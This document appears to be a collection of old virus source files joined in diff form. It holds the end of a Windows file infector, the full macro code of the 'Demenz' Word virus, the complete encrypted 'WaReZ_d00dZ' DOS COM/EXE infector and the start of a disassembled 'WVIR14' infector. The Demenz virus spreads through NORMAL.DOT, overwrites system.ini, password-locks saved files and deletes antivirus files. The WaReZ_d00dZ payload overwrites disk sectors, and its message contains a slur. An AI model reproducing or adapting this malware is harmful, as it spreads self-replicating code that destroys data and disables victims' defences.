mov dx,bp
mov cx,12
int 21H
mov ax,[bp] ;get offset of resource
cmp ax,[bp+INITSEC] ;greater than initial cs location?
jle URT3 ;nope, don't worry about it
add ax,[bp+VIRSECS] ;add size of virus
mov [bp],ax
mov ax,4201H ;now back file pointer up
mov dx,-12
mov cx,0FFFFH
int 21H
mov ah,40H ;and write updated resource rec to
mov dx,bp ;the file
mov cx,12
int 21H
URT3:
pop cx
dec cx ;read until all nameinfo records for
jnz URT2 ;this typeinfo are done
jmp URT1 ;go get another typeinfo record
URTE: ret
;******************************************************************************
END_VIRUS: ;label for the end of the windows virus
;******************************************************************************
;The following HOST is only here for the DOS-based loader. Once this infects
;a windows file, the virus will jump to the startup code for the program it
;is attached to.
HOST: mov ax,4C00H
int 21H
END VIRUS

@@ -0,0 +1,285 @@
Name: Demenz
Author: Serialkiller
Resident: No
Encryption: Yes
Steahlt: Yes
The virus have 5 macros:
- AutoOpen
- AutoNew
- Demenz
- ToolsMacro
- FileSave
=============================================================================
=============================================================================
[AutoOpen]
Sub MAIN
On Error Resume Next
n$ = DefaultDir$(2) + "\NORMAL.DOT"
f$ = FileName$()
If GetAttr(n$) < 32 Then Goto del
a = CountMacros(0)
If a > 0 Then
For b = 1 To a
If MacroName$(b, 0) = "AutoOpen" Then c = 1
Next b
End If
If c <> 1 Then
Organizer .Copy, .Source = f$, .Destination = n$, .Name = "AutoOpen", .Tab = 3
Organizer .Copy, .Source = f$, .Destination = n$, .Name = "AutoNew", .Tab = 3
Organizer .Copy, .Source = f$, .Destination = n$, .Name = "Demenz", .Tab = 3
Organizer .Copy, .Source = f$, .Destination = n$, .Name = "FileSave", .Tab = 3
Organizer .Copy, .Source = f$, .Destination = n$, .Name = "ToolsMacro", .Tab = 3
End If
aa = CountMacros(1)
If aa > 0 Then
For bb = 1 To aa
If MacroName$(bb, 1) = "AutoOpen" Then cc = 1
Next bb
End If
If cc <> 1 Then
FileSaveAs .Format = 1
fm$ = FileName$() + ":AutoOpen"
MacroCopy "AutoOpen", fm$
fm$ = FileName$() + ":AutoNew"
MacroCopy "AutoNew", fm$
fm$ = FileName$() + ":Demenz"
MacroCopy "Demenz", fm$
fm$ = FileName$() + ":FileSave"
MacroCopy "FileSave", fm$
fm$ = FileName$() + ":ToolsMacro"
MacroCopy "ToolsMacro", fm$
End If
End Sub
=============================================================================
[AutoNew]
Sub MAIN
On Error Goto Finish
DisableInput 1
Call AutoOpen
On Error Resume Next
SetAttr "C:\Windows\system.ini", 0
Open "C:\Windows\system.ini" For Output As #1
Print #1, "[*****************************]"
Print #1, "[***The Hacker´s Manifesto ***]"
Print #1, "[*****************************]"
Print #1, "[]"
Print #1, "[]"
Print #1, "[This is our world now ...]"
Print #1, "[the world of the electron and the switch,]"
Print #1, "[the beaty of the baud. We make use of a servive already]"
Print #1, "[existing without paying for what could be dirt-cheap]"
Print #1, "[if it wasn´t run by profiteering gluttons, and you]"
Print #1, "[callus criminals. We explore... and YOU call us]"
Print #1, "[criminals. We seek after knowledge... and YOU,]"
Print #1, "[call us criminals. We exist without skin color]"
Print #1, "[without nationality, without religious bias...]"
Print #1, "[and YOU call us criminals.]"
Print #1, "[YOU build atomic bombs, YOU wage wars, YOU murder,]"
Print #1, "[cheat, and let lie to us and try to make us belive it´s]"
Print #1, "[for OUR OWN GOOD, yet we´re the criminals.]"
Print #1, "[]"
Print #1, "[]"
Print #1, "[Yes I´m a criminal. My crime is that of coriosity.]"
Print #1, "[My crime is that of judging people by what they say]"
Print #1, "[and think, not what they look like. My crime is that]"
Print #1, "[of outsmarting YOU, something that YOU will never]"
Print #1, "[forgive me for.]"
Print #1, "[]"
Print #1, "[]"
Print #1, "[I am a hacker, and this is my manifesto.]"
Print #1, "[YOU may stop this individual, but YOU can´t stop us ALL]"
Print #1, "[]"
Print #1, "[]"
Print #1, "[]"
Print #1, "[Serialkiller present´s]"
Print #1, "[]"
Print #1, "[THE Demenz virus]"
Print #1, "[Greetings to all membaz aff the Codebreakers]"
Close #1
Finish:
End Sub
=============================================================================
[FileSave]
Sub MAIN
FileSave
On Error Resume Next
FileSaveAs .Password = "Concetta"
End Sub
=============================================================================
[Demenz]
Sub MAIN
On Error Resume Next
SE1$ = Files$("C:\PC-Cillin 95\Scan32.dll")
If SE1$ = "" Then Goto AV2
SetAttr "c:\autoexec.bat", 0
Open "c:\autoexec.bat" For Append As #1
Print #1, "@echo off"
Print #1, "attrib -h -r -s +a c:\pc-cil~1\*.* >nul"
Print #1, "del c:\pc-cil~1\*.dll >nul"
Close #1
Kill "C:\PC-Cillin 95\Lpt$vpn.*"
AV2:
SE2$ = Files$("C:\PC-Cillin 97\Scan32.dll")
If SE2$ = "" Then Goto AV3
SetAttr "c:\autoexec.bat", 0
Open "c:\autoexec.bat" For Append As #1
Print #1, "@echo off"
Print #1, "attrib -h -r -s +a c:\pc-cil~1\*.* >nul"
Print #1, "del c:\pc-cil~1\*.dll >nul"
Close #1
Kill "C:\PC-Cillin 97\Lpt$vpn.*"
AV3:
SE3$ = Files$("C:\Tsc\PC-Cillin 97\Scan32.dll")
If SE3$ = "" Then Goto AV4
SetAttr "c:\autoexec.bat", 0
Open "c:\autoexec.bat" For Append As #1
Print #1, "@echo off"
Print #1, "attrib -h -r -s +a c:\tsc\pc-cil~1\*.* >nul"
Print #1, "del c:\tsc\pc-cil~1\*.dll >nul"
Close #1
Kill "C:\Tsc\PC-Cillin 97\Lpt$vpn.*"
AV4:
SE4$ = Files$("C:\Zlockav\Gsav.dat")
If SE4$ = "" Then Goto AV5
Kill SE4$
Kill "C:\Zlockav\Gsav.cas"
AV5:
SE5$ = Files$("C:\VB7\Virus.txt")
If SE5$ = "" Then Goto AV6
Kill SE5$
AV6:
SE6$ = Files$("C:\Program Files\Norton AntiVirus\Viruscan.dat")
If SE6$ = "" Then Goto AV7
Kill SE6$
Kill "C:\Program Files\Symantec\Symevnt.386"
AV7:
SE7$ = Files$("C:\Program Files\McAfee\VirusScan95\Scan.dat")
If SE7$ = "" Then Goto AV8
Kill SE7$
Kill "C:\Program Files\McAfee\VirusScan95\Mcscan32.dll"
AV8:
SE8$ = Files$("C:\Program Files\McAfee\VirusScan\Scan.dat")
If SE8$ = "" Then Goto AV9
Kill SE8$
Kill "C:\Program Files\McAfee\VirusScan\Mcscan32.dll"
AV9:
SE9$ = Files$("C:\Program Files\Command Software\F-PROT95\Sign.def")
If SE9$ = "" Then Goto AV10
Kill SE9$
Kill "C:\Program Files\Command Software\F-PROT95\Dvp.vxd"
AV10:
SE10$ = Files$("C:\Program Files\AntiViral Toolkit Pro\Avp32.exe")
If SE10$ = "" Then Goto AV11
Kill SE10$
Kill "C:\Program Files\AntiViral Toolkit Pro\*.avc"
AV11:
SE11$ = Files$("C:\TBAVW95\Tbscan.sig")
If SE11$ = "" Then Goto joke
SetAttr "c:\autoexec.bat", 0
Open "c:\autoexec.bat" For Append As #1
Print #1, "@echo off"
Print #1, "attrib -h -r -s +a c:\Tbavw95\*.* >nul"
Print #1, "del c:\Tbavw95\Tb*.* >nul"
Close #1
Kill "C:\Tbavw95\Tbavw95.vxd"
joke:
SE12$ = Files$("C:\Programme\Norton AntiVirus\*.dat")
If SE12$ = "" Then Goto exit
SetAttr "c:\autoexec.bat", 0
Open "c:\autoexec.bat" For Append As #1
Print #1, "@echo off"
Print #1, "attrib -h -r -s +a c:\Programme Norton AntiVirus\*.* >nul"
Print #1, "del c:\Norton AntiVirus\*.* >nul"
Close #1
Kill "C:\Programme\Norton AntiVirus\*.dat"
Kill "C:\Programme\Symantec\Symevnt.386"
exit:
End Sub
=============================================================================
[ToolsMacro]
Sub MAIN
B$ = "Out of memory."
C$ = "WordBasic Err = 7"
Dim ComboBox1$(0)
ComboBox1$(0) = ""
Dim ListBox1$(0)
ListBox1$(0) = ""
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot(Global Template)"
A:
Begin Dialog UserDialog 442, 320, "Macro"
CancelButton 290, 38, 141, 21
PushButton 290, 14, 141, 21, "Rec&ord...", .D2
PushButton 290, 72, 141, 21, "&Run", .D3
PushButton 290, 97, 141, 21, "&Cancel", .D4
PushButton 290, 125, 141, 21, "&Delete", .D5
PushButton 290, 161, 141, 21, "Or&ganizer...", .D6
ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1
Text 6, 223, 93, 13, "Macros &Available In:", .T1
Text 7, 259, 109, 13, "Description:", .T2
Text 7, 7, 93, 13, "&Macro Name:", .T3
ListBox 7, 276, 425, 38, ListBox1$(), .LB1
DropListBox 6, 238, 425, 19, DropListBox2$(), .LB2
End Dialog
Redim dlg As UserDialog
x = Dialog(dlg)
Select Case x
Case 0
Cancel
Case 1
MsgBox B$, C$, 48
Goto A
Case 2
MsgBox B$, C$, 48
Goto A
Case 3
MsgBox B$, C$, 48
Goto A
Case 4
MsgBox B$, C$, 48
Goto A
Case 5
MsgBox B$, C$, 48
Goto A
End Select
End Sub
@@ -0,0 +1,681 @@
; PX.ASM : [WaReZ_d00dZ] by [pAgE]
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
idi = 'FB'
id = 'ZP' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov di,offset startencrypt ; start of decryption
mov cx,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,05h ; add word ptr cs:[di], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc di ; calculate new decryption location
inc di
loop decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
cmp sp,idi ; COM or EXE?
je restoreOVR
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreOVR:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],50; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+ovr_mask]
call infect_mask
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ah ; Get current date
int 21h
cmp dh,1 ; Check month
jb exit_virus
cmp cx,1992 ; Check year
jb exit_virus
cmp al,0 ; Check date of week
jae activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 27h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
returnOVR:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate proc far
start:
jmp short loc_1
db 90h
data_2 db 0
data_3 dw 2B1h
db 2
data_4 dw 0
db 'HEY!!! Blow ME, WaReZ FAGGOT'
db 1Ah
data_5 db 'You got sorta lucky!!!', 0Dh, 0Ah
db '$'
loc_1:
mov ah,0Fh
int 010h
xor ah,ah
int 010h
mov ax,0002h
mov cx,0100h
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov bx,0B800h
cmp al,2
je loc_2 ; Jump if equal
cmp al,3
je loc_2 ; Jump if equal
mov data_2,0
mov bx,0B000h
cmp al,7
je loc_2 ; Jump if equal
mov dx,offset data_5 ; ('Unsupported Video Mode')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
retn
loc_2:
mov es,bx
mov di,data_4
mov si,offset data_6
mov dx,3DAh
mov bl,9
mov cx,data_3
cld ; Clear direction
xor ax,ax ; Zero register
locloop_4:
lodsb ; String [si] to al
cmp al,1Bh
jne loc_5 ; Jump if not equal
xor ah,80h
jmp short loc_20
loc_5:
cmp al,10h
jae loc_8 ; Jump if above or =
and ah,0F0h
or ah,al
jmp short loc_20
loc_8:
cmp al,18h
je loc_11 ; Jump if equal
jnc loc_12 ; Jump if carry=0
sub al,10h
add al,al
add al,al
add al,al
add al,al
and ah,8Fh
or ah,al
jmp short loc_20
loc_11:
mov di,data_4
add di,data_1e
mov data_4,di
jmp short loc_20
loc_12:
mov bp,cx
mov cx,1
cmp al,19h
jne loc_13 ; Jump if not equal
lodsb ; String [si] to al
mov cl,al
mov al,20h ; ' '
dec bp
jmp short loc_14
loc_13:
cmp al,1Ah
jne loc_15 ; Jump if not equal
lodsb ; String [si] to al
dec bp
mov cl,al
lodsb ; String [si] to al
dec bp
loc_14:
inc cx
loc_15:
cmp data_2,0
je loc_18 ; Jump if equal
mov bh,al
locloop_16:
in al,dx ; port 3DAh, CGA/EGA vid status
rcr al,1 ; Rotate thru carry
jc locloop_16 ; Jump if carry Set
loc_17:
in al,dx ; port 3DAh, CGA/EGA vid status
and al,bl
jnz loc_17 ; Jump if not zero
mov al,bh
stosw ; Store ax to es:[di]
loop locloop_16 ; Loop if cx > 0
jmp short loc_19
loc_18:
rep stosw ; Rep when cx >0 Store ax to es:[di]
loc_19:
mov cx,bp
loc_20:
jcxz loc_ret_21 ; Jump if cx=0
loop locloop_4 ; Loop if cx > 0
loc_ret_21:
push dx
mov al,002h
mov cx,030h
cli
cwd
int 026h
pop dx
mov ax,04C00h
int 021h
activate endp
jmp exit_virus
creator db '[MPC]',0 ; Mass Produced Code Generator
virusname db '[WaReZ_d00dZ]',0
author db '[pAgE]',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
cmp word ptr [bp+buffer],'FB'; EXE?
jz checkOVR ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
checkOVR: cmp word ptr [bp+buffer+10h],idi ; is it already infected?
jnz infect_ovr
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp finishinfection
infect_ovr:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h],idi
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
data_6 db 9
db 10h,0D2h,0C4h,0C4h,0BFh, 20h
db 0D6h,0C4h,0C4h,0BFh, 20h,0D6h
db 0C4h,0C4h,0BFh, 20h,0B7h
db 20h ; Data table (indexed access)
db 0D6h,0C4h,0D2h,0C4h,0BFh, 19h
db 03h,0D2h, 20h, 20h,0C2h, 20h
db 0D6h,0C4h,0C4h,0BFh, 20h,0D2h
db 20h, 20h,0C2h, 19h
dd 0DA20D203h ; Data table (indexed access)
db 20h, 20h,0D6h,0C4h,0C4h,0BFh
db 20h,0D6h,0C4h,0C4h,0BFh, 20h
db 0D2h, 20h,0D2h, 20h,0C2h, 20h
db 20h, 18h,0BAh, 20h, 20h,0B3h
db 20h,0BAh, 20h, 20h,0B3h, 20h
db 0BAh, 20h, 20h,0B3h, 20h,0BDh
db 19h, 02h,0BAh, 19h, 05h,0D3h
db 0C4h,0C4h,0B4h, 20h,0BAh, 20h
db 20h,0B3h, 20h,0BAh, 20h, 20h
db 0B3h, 19h, 03h,0C7h,0C4h,0C1h
db 0BFh, 20h,0BAh, 20h, 20h,0B3h
db 20h,0BAh, 20h, 20h,0B3h, 20h
db 0BAh, 20h,0BAh, 20h,0B3h, 20h
db 20h, 18h,0D0h,0C4h,0C4h,0D9h
db 20h,0D3h,0C4h,0C4h,0D9h, 20h
db 0D0h, 20h, 20h,0C1h, 19h, 04h
db 0D0h, 19h, 05h,0D3h,0C4h,0C4h
db 0D9h, 20h,0D3h,0C4h,0C4h,0D9h
db 20h,0D3h,0C4h,0C4h,0D9h, 19h
db 03h,0D0h, 20h, 20h,0C1h, 20h
db 0D0h, 20h, 20h,0C1h, 20h,0D3h
db 0C4h,0C4h,0D9h, 20h,0D3h,0C4h
db 0D0h,0C4h,0D9h, 20h, 20h, 18h
db 19h, 41h, 18h,0D6h,0C4h,0D2h
db 0C4h,0BFh, 20h,0D2h, 20h, 20h
db 0C2h, 20h,0D6h,0C4h,0C4h,0BFh
db 20h,0D6h,0C4h,0D2h,0C4h,0BFh
db 19h, 03h,0D2h,0C4h,0C4h,0BFh
db 20h,0C4h,0D2h,0C4h, 20h,0D2h
db 0C4h,0C4h,0BFh, 20h,0D6h,0C4h
db 0C4h,0BFh, 20h,0D6h,0C4h,0C4h
db 0BFh, 20h,0D2h, 20h, 20h,0C2h
db 19h, 02h,0C4h,0D2h,0C4h, 20h
db 20h,0D6h,0C4h,0BFh, 20h, 20h
db 18h, 20h, 20h,0BAh, 19h, 02h
db 0C7h,0C4h,0C4h,0B4h, 20h,0C7h
db 0C4h,0C4h,0B4h, 19h, 02h,0BAh
db 19h, 05h,0C7h,0C4h,0C4h,0D9h
db 20h, 20h,0BAh, 20h, 20h,0C7h
db 0C4h,0C2h,0D9h, 20h,0C7h,0C4h
db 0C4h,0B4h, 20h,0BAh, 19h, 03h
db 0D3h,0C4h,0C4h,0B4h, 19h, 03h
dd 0D30219BAh ; Data table (indexed access)
db 0C4h,0BFh, 20h, 20h, 18h, 20h
db 20h,0D0h, 19h, 02h,0D0h, 20h
db 20h,0C1h, 20h,0D0h, 20h, 20h
db 0C1h, 19h, 02h,0D0h, 19h, 05h
db 0D0h, 19h, 03h,0C4h,0D0h,0C4h
db 20h,0D0h, 20h,0C1h, 20h, 20h
db 0D0h, 20h, 20h,0C1h, 20h,0D3h
db 0C4h,0C4h,0D9h, 20h,0D3h,0C4h
db 0C4h,0D9h, 19h, 02h,0C4h,0D0h
db 0C4h, 20h,0D3h,0C4h,0C4h,0D9h
db 20h, 20h, 18h, 19h, 41h, 18h
db 19h, 41h, 18h, 19h, 07h, 0Ch
db 1Bh,0C4h,0C4h,0D2h,0C4h,0C4h
db 20h,0D2h, 19h, 06h,0D2h, 19h
db 06h,0D2h, 1Ah, 04h,0C4h,0BFh
db 20h,0D6h, 1Ah, 05h,0C4h, 20h
db 0D6h, 1Ah, 04h,0C4h,0BFh, 20h
db 0D2h, 19h, 0Ah, 18h, 19h, 09h
db 0BAh, 19h, 02h,0BAh, 19h, 06h
db 0BAh, 19h, 06h,0BAh, 19h, 06h
db 0BAh, 19h, 06h,0BAh, 19h, 04h
db 0B3h, 20h,0BAh, 19h, 0Ah, 18h
db 19h, 09h,0BAh, 19h, 02h,0BAh
db 19h, 06h,0BAh, 19h, 06h,0C7h
db 0C4h,0C4h, 19h, 04h,0BAh, 19h
db 02h,0DAh,0C4h,0BFh, 20h,0C7h
db 1Ah, 04h,0C4h,0B4h, 20h,0BAh
db 19h, 0Ah, 18h, 19h, 09h,0BAh
db 19h, 02h,0BAh, 19h, 06h,0BAh
db 19h, 06h,0BAh, 19h, 06h,0BAh
db 19h, 04h,0B3h, 20h,0BAh, 19h
db 04h,0B3h, 20h,0BAh, 19h, 0Ah
db 18h, 19h, 07h,0C4h,0C4h,0D0h
db 0C4h,0C4h, 20h,0D0h, 1Ah, 04h
db 0C4h,0D9h, 20h,0D0h, 1Ah, 04h
db 0C4h,0D9h, 20h,0D0h, 1Ah, 04h
db 0C4h,0D9h, 20h,0D3h, 1Ah, 04h
db 0C4h,0D9h, 20h,0D0h, 19h, 04h
db 0C1h, 20h,0D0h, 1Ah, 04h,0C4h
db 0D9h, 19h, 04h, 18h, 19h, 41h
db 18h, 19h, 41h, 18h
db ' ', 9, 1Bh, 'I am afraid that I'
db ' am going to have to smash your '
db 'WaReZ, d00d!!!'
db 18h, 19h, 41h, 18h, 19h, 41h
db 18h
db 20h
db ' Go ahead! Call the police and t'
db 'ell them ', 0Ah, '[NuKe] ', 9, 'p'
db 'aid you a visit!'
db 18h
data_1e equ 0A0h
exe_mask db '*.exe',0
ovr_mask db '*.ovr',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
@@ -0,0 +1,487 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ WVIR14 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Sep-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_11e equ 100h ;*
data_12e equ 140h ;*
data_13e equ 142h ;*
data_14e equ 144h ;*
data_15e equ 148h ;*
data_16e equ 14Ah ;*
data_17e equ 150h ;*
data_18e equ 16Eh ;*
data_19e equ 181h ;*
data_20e equ 19Ch ;*
data_21e equ 19Eh ;*
data_22e equ 1A0h ;*
data_23e equ 1A2h ;*
;------------------------------------------------------------ seg_a ----
seg_a segment byte public
assume cs:seg_a , ds:seg_a , ss:stack_seg_b
db 249 dup (0)
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; Program Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
wvir14 proc far
start:
mov ax,cs
add ax,3Bh
mov ds,ax
cld ; Clear direction
push es
push ds
pop es
mov si,data_18e
mov di,data_19e
mov cx,0Dh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov dx,data_17e
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
mov dx,17Bh
xor cx,cx ; Zero register
mov ah,4Eh
loc_1:
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jc loc_2 ; Jump if carry Set
mov dx,data_18e
call sub_1
mov ah,4Fh ; 'O'
jmp short loc_1
loc_2:
